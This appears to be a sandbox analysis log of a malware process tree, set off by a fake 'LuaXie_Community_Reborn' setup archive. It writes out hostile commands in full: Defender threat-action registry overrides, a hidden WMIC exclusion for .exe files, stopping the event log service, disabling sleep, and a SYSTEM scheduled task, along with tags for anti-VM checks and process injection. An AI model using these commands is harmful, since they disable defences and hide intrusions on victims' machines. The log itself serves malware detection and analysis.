C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5272

C:\Users\Admin\AppData\Local\Temp\Temp2_safe-archive.zip\setup.exe
"C:\Users\Admin\AppData\Local\Temp\Temp2_safe-archive.zip\setup.exe"
1⤵
- Modifies firewall policy service
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:4656
- C:\Users\Admin\Documents\SimpleAdobe\e7XvxulTAnRfVk00hX8y2ZIu.exe
  C:\Users\Admin\Documents\SimpleAdobe\e7XvxulTAnRfVk00hX8y2ZIu.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:5908
- - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:2100
- C:\Users\Admin\Documents\SimpleAdobe\DQdlwOjJ4U5Xw7JyiX0yr1hW.exe
  C:\Users\Admin\Documents\SimpleAdobe\DQdlwOjJ4U5Xw7JyiX0yr1hW.exe
  2⤵
  - Executes dropped EXE
  PID:248
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    PID:2384
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    PID:668
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    PID:6988
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    PID:4724
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:2736
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "CIFUBVHI"
    3⤵
    - Launches sc.exe
    PID:2160
- C:\Users\Admin\Documents\SimpleAdobe\KYqP7ya3NTmGeDnKWgdCAcxB.exe
  C:\Users\Admin\Documents\SimpleAdobe\KYqP7ya3NTmGeDnKWgdCAcxB.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:6300
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Checks processor information in registry
    - Suspicious use of SetWindowsHookEx
    PID:4992
- C:\Users\Admin\Documents\SimpleAdobe\eNjpSVgSlKmW28l0r0QUi5iz.exe
  C:\Users\Admin\Documents\SimpleAdobe\eNjpSVgSlKmW28l0r0QUi5iz.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:7064
- - C:\Users\Admin\AppData\Local\Temp\is-KD19V.tmp\eNjpSVgSlKmW28l0r0QUi5iz.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-KD19V.tmp\eNjpSVgSlKmW28l0r0QUi5iz.tmp" /SL5="$405C6,5094456,54272,C:\Users\Admin\Documents\SimpleAdobe\eNjpSVgSlKmW28l0r0QUi5iz.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetWindowsHookEx
    PID:6212
- C:\Users\Admin\Documents\SimpleAdobe\GAi5F8yEoSer2o9iBJ35zljO.exe
  C:\Users\Admin\Documents\SimpleAdobe\GAi5F8yEoSer2o9iBJ35zljO.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:6516
- - C:\Users\Admin\AppData\Local\Temp\7zSC9AE.tmp\Install.exe
    .\Install.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:3480
  - - C:\Users\Admin\AppData\Local\Temp\7zSD130.tmp\Install.exe
      .\Install.exe /JudidKE "525403" /S
      4⤵
      Checks BIOS information in registry
      Executes dropped EXE
      Enumerates system info in registry
      Suspicious use of SetWindowsHookEx
      PID:408
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        5⤵
        
        PID:692
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        6⤵
        
        PID:2560
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        7⤵
        
        PID:3552
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        8⤵
        
        PID:2976
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        6⤵
        
        PID:4696
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        7⤵
        
        PID:5076
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        8⤵
        
        PID:5324
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        6⤵
        
        PID:904
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        7⤵
        
        PID:5776
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        8⤵
        
        PID:4448
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        6⤵
        
        PID:3800
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        7⤵
        
        PID:3484
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        8⤵
        
        PID:5380
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        6⤵
        
        PID:2868
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        7⤵
        
        PID:3376
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1444
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        9⤵
        
        PID:6136
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m calc.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        5⤵
        
        PID:1552
      - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        6⤵
        
        PID:5968
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6848
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:2208
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bjeWJKrHnPpdAGCduF" /SC once /ST 16:38:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSD130.tmp\Install.exe\" bC /FXedidx 525403 /S" /V1 /F
        5⤵
        Drops file in Windows directory
        Scheduled Task/Job: Scheduled Task
        
        PID:5128
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 408 -s 964
        5⤵
        Program crash
        
        PID:5008
- C:\Users\Admin\Documents\SimpleAdobe\xwQalmpr7CbniCocsR_G0TvU.exe
  C:\Users\Admin\Documents\SimpleAdobe\xwQalmpr7CbniCocsR_G0TvU.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetWindowsHookEx
  PID:1504
- C:\Users\Admin\Documents\SimpleAdobe\tGjuz_CO5UrFm_mqkRwg0SV2.exe
  C:\Users\Admin\Documents\SimpleAdobe\tGjuz_CO5UrFm_mqkRwg0SV2.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:7024
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:4516
- C:\Users\Admin\Documents\SimpleAdobe\LW8L1gqHwARCQ66f1Ucz09zz.exe
  C:\Users\Admin\Documents\SimpleAdobe\LW8L1gqHwARCQ66f1Ucz09zz.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetWindowsHookEx
  PID:6748
- C:\Users\Admin\Documents\SimpleAdobe\WVZfnCYwaWXtwL6de4zDDp12.exe
  C:\Users\Admin\Documents\SimpleAdobe\WVZfnCYwaWXtwL6de4zDDp12.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:6952
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:5804

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:804

C:\Windows\System32\oobe\UserOOBEBroker.exe
C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding
1⤵
- Drops file in Windows directory
PID:3768

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding
1⤵
PID:2360

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:3368

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:2256

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:6172

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1664

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:6828

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6608

C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe
C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe
1⤵
- Executes dropped EXE
PID:2700
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:2424
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:2500
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:1636
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:1912

C:\Users\Admin\Downloads\LuaXie_Community_Reborn\safe-archive\setup.exe
"C:\Users\Admin\Downloads\LuaXie_Community_Reborn\safe-archive\setup.exe"
1⤵
- Modifies firewall policy service
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:2064
- C:\Users\Admin\Documents\SimpleAdobe\kOAjJOg6jYDP8gUBcAzGtLhT.exe
  C:\Users\Admin\Documents\SimpleAdobe\kOAjJOg6jYDP8gUBcAzGtLhT.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetWindowsHookEx
  PID:4108
- C:\Users\Admin\Documents\SimpleAdobe\oTk_3XRn2WdRuMpkJOJYcXqf.exe
  C:\Users\Admin\Documents\SimpleAdobe\oTk_3XRn2WdRuMpkJOJYcXqf.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:6284
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Checks processor information in registry
    - Suspicious use of SetWindowsHookEx
    PID:4540
- C:\Users\Admin\Documents\SimpleAdobe\tDhygA7GyAjlivke6QcyeUZC.exe
  C:\Users\Admin\Documents\SimpleAdobe\tDhygA7GyAjlivke6QcyeUZC.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4716
- - C:\Users\Admin\AppData\Local\Temp\is-EP3HQ.tmp\tDhygA7GyAjlivke6QcyeUZC.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-EP3HQ.tmp\tDhygA7GyAjlivke6QcyeUZC.tmp" /SL5="$100232,5094456,54272,C:\Users\Admin\Documents\SimpleAdobe\tDhygA7GyAjlivke6QcyeUZC.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetWindowsHookEx
    PID:3724
- C:\Users\Admin\Documents\SimpleAdobe\HAjiGKh3u0rrhO3KOoxjROLq.exe
  C:\Users\Admin\Documents\SimpleAdobe\HAjiGKh3u0rrhO3KOoxjROLq.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:3168
- - C:\Users\Admin\AppData\Local\Temp\7zS3CE6.tmp\Install.exe
    .\Install.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:5444
  - - C:\Users\Admin\AppData\Local\Temp\7zS414B.tmp\Install.exe
      .\Install.exe /JudidKE "525403" /S
      4⤵
      Checks BIOS information in registry
      Executes dropped EXE
      Enumerates system info in registry
      Suspicious use of SetWindowsHookEx
      PID:4836
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        5⤵
        
        PID:1568
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        6⤵
        
        PID:1748
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        7⤵
        
        PID:4256
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        8⤵
        
        PID:5252
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        6⤵
        
        PID:6040
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        7⤵
        
        PID:6632
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        8⤵
        
        PID:4804
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        6⤵
        
        PID:5404
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        7⤵
        
        PID:3132
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        8⤵
        
        PID:6984
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        6⤵
        
        PID:6476
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        7⤵
        
        PID:2576
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        8⤵
        
        PID:412
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        6⤵
        
        PID:1044
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        7⤵
        
        PID:5716
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3160
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        9⤵
        
        PID:4360
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m calc.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        5⤵
        
        PID:5956
      - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        6⤵
        
        PID:6924
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4124
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:2560
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bjeWJKrHnPpdAGCduF" /SC once /ST 16:39:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS414B.tmp\Install.exe\" bC /pXkdidR 525403 /S" /V1 /F
        5⤵
        Drops file in Windows directory
        Scheduled Task/Job: Scheduled Task
        
        PID:408
- C:\Users\Admin\Documents\SimpleAdobe\y0V6iQpV8ebQaqgfkS1GLXNU.exe
  C:\Users\Admin\Documents\SimpleAdobe\y0V6iQpV8ebQaqgfkS1GLXNU.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:4040
- - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:872
- C:\Users\Admin\Documents\SimpleAdobe\GrErBZBxX24i4QQfd1D7CXue.exe
  C:\Users\Admin\Documents\SimpleAdobe\GrErBZBxX24i4QQfd1D7CXue.exe
  2⤵
  - Executes dropped EXE
  PID:5180
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:1560
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:1160
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:4940
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:6876
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:5220
- C:\Users\Admin\Documents\SimpleAdobe\W8_Cs__t8gA5hvZYMgXAWyqT.exe
  C:\Users\Admin\Documents\SimpleAdobe\W8_Cs__t8gA5hvZYMgXAWyqT.exe
  2⤵
  - Executes dropped EXE
  PID:3220
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    PID:5936
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    PID:6336
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    PID:2908
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    PID:4980
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:1768
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "CIFUBVHI"
    3⤵
    - Launches sc.exe
    PID:2092
- C:\Users\Admin\Documents\SimpleAdobe\j7T6uOenazCLzjfc3Q0zJCJg.exe
  C:\Users\Admin\Documents\SimpleAdobe\j7T6uOenazCLzjfc3Q0zJCJg.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:5064
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:1000
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:2952
- C:\Users\Admin\Documents\SimpleAdobe\D8G20MHKbHs7HQQXvUGZDVTe.exe
  C:\Users\Admin\Documents\SimpleAdobe\D8G20MHKbHs7HQQXvUGZDVTe.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetWindowsHookEx
  PID:896

C:\Users\Admin\Downloads\LuaXie_Community_Reborn\safe-archive\setup.exe
"C:\Users\Admin\Downloads\LuaXie_Community_Reborn\safe-archive\setup.exe"
1⤵
- Suspicious use of SetWindowsHookEx
PID:5332

C:\Users\Admin\Downloads\LuaXie_Community_Reborn\safe-archive\setup.exe
"C:\Users\Admin\Downloads\LuaXie_Community_Reborn\safe-archive\setup.exe"
1⤵
- Suspicious use of SetWindowsHookEx
PID:3732

C:\Users\Admin\Downloads\LuaXie_Community_Reborn\safe-archive\setup.exe
"C:\Users\Admin\Downloads\LuaXie_Community_Reborn\safe-archive\setup.exe"
1⤵
- Suspicious use of SetWindowsHookEx
PID:696

C:\Users\Admin\Downloads\LuaXie_Community_Reborn\safe-archive\setup.exe
"C:\Users\Admin\Downloads\LuaXie_Community_Reborn\safe-archive\setup.exe"
1⤵
- Suspicious use of SetWindowsHookEx
PID:3944

C:\Users\Admin\Downloads\LuaXie_Community_Reborn\safe-archive\setup.exe
"C:\Users\Admin\Downloads\LuaXie_Community_Reborn\safe-archive\setup.exe"
1⤵
- Suspicious use of SetWindowsHookEx
PID:6512

C:\Users\Admin\Downloads\LuaXie_Community_Reborn\safe-archive\setup.exe
"C:\Users\Admin\Downloads\LuaXie_Community_Reborn\safe-archive\setup.exe"
1⤵
- Suspicious use of SetWindowsHookEx
PID:5476

C:\Users\Admin\AppData\Local\Temp\7zSD130.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zSD130.tmp\Install.exe bC /FXedidx 525403 /S
1⤵
- Executes dropped EXE
PID:928
- C:\Windows\SysWOW64\cmd.exe
